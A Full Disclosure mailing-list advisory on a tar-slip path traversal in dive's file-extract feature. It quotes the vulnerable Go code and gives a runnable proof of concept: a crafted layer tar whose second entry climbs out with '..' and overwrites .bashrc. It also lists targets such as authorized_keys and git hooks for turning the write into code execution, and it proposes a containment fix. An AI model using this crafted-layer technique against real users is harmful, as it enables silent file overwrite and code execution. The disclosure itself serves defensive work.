Full Disclosure mailing list archives
dive tar-slip in image file extraction
From: Khashayar Fereidani <info () fereidani com>
Date: Thu, 24 Sep 2026 02:58:19 +0000
# dive tar-slip in image file extraction **Author:** Khashayar Fereidani **Disclosure Date:** 2026-09-24 **Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction **Contact:** https://fereidani.com/contact ## Description dive is a terminal UI for exploring Docker image layers, and inspecting images pulled from public registries is its main use case. The filetree view has an extract action (the default keybinding is `ctrl+e`, `cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file from the image layer into the working directory. The call chain is `onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`) -> `engineResolver.Extract` (`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage` (`dive/image/docker/image_archive.go:303`) -> `extractInner` (`dive/image/docker/image_archive.go:337`): ```go func extractInner(reader *tar.Reader, p string) error { target := strings.TrimPrefix(p, "/") for { header, err := reader.Next() if err == io.EOF { break } if err != nil { fmt.Println(err) os.Exit(1) } name := header.Name switch header.Typeflag { case tar.TypeReg: if strings.HasPrefix(name, target) { err := os.MkdirAll(filepath.Dir(name), 0755) if err != nil { return err } out, err := os.Create(name) if err != nil { return err } _, err = io.Copy(out, reader) if err != nil { return err } } default: continue } } return nil } ``` `header.Name` comes from the layer being inspected, so the attacker fully controls it. The only validation is `strings.HasPrefix(name, target)`, a string prefix check rather than a path check: it offers no containment at all. A name like `etc/motd-x/../../../.bashrc` passes the check for a selected `etc/motd`, and `os.Create(name)` then resolves the raw name relative to the directory dive was started in. There is no `filepath.Clean`, no rejection of `..`, no containment root, no symlink check and no size cap. The same string-prefix property lets an attacker prepare the path for the escape in two steps. Because `filepath.Dir` cleans `..` segments away, `os.MkdirAll` never creates the intermediate directory that a single escape entry needs to walk through. But any earlier entry whose name still starts with the selected path creates it: an entry named `etc/motd-x/keep` makes `os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then climb through it with `..`. Both entries pass the prefix check, and the attacker controls the order of entries in the layer. Reaching `extractInner` with crafted bytes is straightforward. The engine resolver saves the image with the Docker API (`ImageSave`, `dive/image/docker/engine_resolver.go:131`), which streams the original layer blobs as they were pushed to the registry, and dive even pulls the image itself when it is not available locally (`dive/image/docker/engine_resolver.go:121`). Nothing between the registry and `extractInner` rewrites entry names. ## Reproduction The loop above is self-contained, so the whole feature can be exercised without a registry or the UI. The program below copies `extractInner` verbatim from the current main branch, feeds it a crafted layer tar, and selects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that file: ```go package main // extractInner copied verbatim from // dive/image/docker/image_archive.go:337 (main, 2026-09-24). import ( "archive/tar" "bytes" "fmt" "io" "os" "path/filepath" "strings" ) func extractInner(reader *tar.Reader, p string) error { target := strings.TrimPrefix(p, "/") for { header, err := reader.Next() if err == io.EOF { break } if err != nil { fmt.Println(err) os.Exit(1) } name := header.Name switch header.Typeflag { case tar.TypeReg: if strings.HasPrefix(name, target) { err := os.MkdirAll(filepath.Dir(name), 0755) if err != nil { return err } out, err := os.Create(name) if err != nil { return err } _, err = io.Copy(out, reader) if err != nil { return err } } default: continue } } return nil } func addFile(tw *tar.Writer, name, body string) { hdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)), Typeflag: tar.TypeReg} _ = tw.WriteHeader(hdr) _, _ = tw.Write([]byte(body)) } func main() { var layer bytes.Buffer tw := tar.NewWriter(&layer) addFile(tw, "etc/motd", "welcome to the totally safe image\n") addFile(tw, "etc/motd-x/keep", "x\n") addFile(tw, "etc/motd-x/../../../.bashrc", "echo pwned\n") _ = tw.Close() err := extractInner(tar.NewReader(&layer), "/etc/motd") fmt.Println("extractInner returned:", err) } ``` Run it from a directory that stands in for the analyst's project directory, with a `.bashrc` one level above: ```sh mkdir -p home/victim/project echo "alias ll='ls -l'" > home/victim/.bashrc cd home/victim/project && go run main.go ``` Observed result: ```text extractInner returned: <nil> ``` ```text $ find home -type f | sort home/victim/.bashrc # was: alias ll='ls -l' home/victim/project/etc/motd home/victim/project/etc/motd-x/keep $ cat home/victim/.bashrc echo pwned ``` The selected file lands in the working directory as expected, and the escape entry silently overwrites the `.bashrc` one level above it. `extractInner` returns nil, so the UI reports a successful extract. End to end, the same layer is delivered by publishing an image whose layer blob contains the three entries above (any registry accepts the blob as-is), and waiting for an analyst to run `dive` on the image and extract a file. ## Impact Arbitrary file write with the analyst's privileges, at any path that is reachable through `..` from the directory dive runs in, usually the home or project directory. High-value targets include shell startup files such as `~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the current repository, and desktop autostart entries, which turn the write into code execution at the next shell or login. The write is silent: extraction succeeds and the extra entries leave no error behind. The precondition is that the analyst selects a file in the crafted image and presses the extract keybinding, which is why this is rated medium rather than high. That action is exactly what the feature is for: an analyst who opens a suspicious image to look at a credentials file or a config file has every reason to extract it for a closer look, and the layer content is fully attacker-controlled. ## Solution Treat every entry name as hostile and extract through a containment root. The check belongs on the cleaned, joined path, not on the raw string: ```go dest := filepath.Join(destinationDir, filepath.Clean("/"+header.Name)) if dest != filepath.Join(destinationDir, target) { continue // extraction is for the selected file only } ``` Joining against `/`+name first makes `filepath.Clean` drop any leading `..` or drive-letter tricks, and the equality check then reduces the write to the one selected file inside `destinationDir`. Creating the file with `os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the extract from overwriting existing files or following a symlink planted earlier in the same layer. This is the standard guard for the tar-slip class, the tar variant of Zip Slip, which every archive extractor that writes to disk needs. Until a fix lands, do not use the extract keybinding on images from unknown sources, and if it must be used, run dive from an empty directory (or from inside a container) so that `..` has nowhere interesting to climb to. ## Timeline - 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning popular repositories with my static analyzer. The repository has seen no commits since 2025-12-15, so no private disclosure attempt seemed useful; dive 0.13.1 and the current main branch are affected. ## References - [wagoodman/dive#722 - tar-slip in image layer file extraction](https://github.com/wagoodman/dive/issues/722) - [wagoodman/dive - dive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go) - [Snyk - Zip Slip vulnerability research](https://snyk.io/research/zip-slip-vulnerability) - [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - [CWE-59: Improper Link Resolution Before File Access](https://cwe.mitre.org/data/definitions/59.html) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- dive tar-slip in image file extraction Khashayar Fereidani (Sep 26)
